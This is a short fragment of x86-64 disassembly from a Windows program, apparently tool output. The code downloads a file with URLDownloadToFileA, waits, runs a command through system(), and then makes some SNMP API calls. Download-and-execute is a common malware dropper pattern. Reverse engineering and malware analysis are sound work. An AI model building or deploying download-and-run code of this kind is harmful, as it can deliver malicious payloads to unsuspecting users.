call sub.urlmon.dll_URLDownloadToFileA
mov dword [rbp - 4], eax
mov eax, dword [rbp - 4]
mov r8, rax
mov rax, qword [rbp - 0x18]
mov r11, rax
lea rax, str._s_dowloaded._Result__ld_r_n
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
mov eax, 0x3e8
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
mov rax, qword [rbp - 0x20]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_system
lea rax, str.1186465978
mov r11, rax
lea rax, str.Random_string:__s_r_n
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
lea rax, [0x004020ab]
mov r11, rax
lea rax, str.da_s__executing...
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
call sub.snmpapi.dll_SnmpSvcGetUptime
lea rax, [0x004020ad]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
lea rax, [0x004020ca]
mov r11, rax
lea rax, str.db_s__executing...
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
movabs rax, 0
mov r10, rax
mov rcx, r10
call sub.snmpapi.dll_SnmpUtilVarBindFree
lea rax, str.Done._r_n
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
mov eax, 0
leave
ret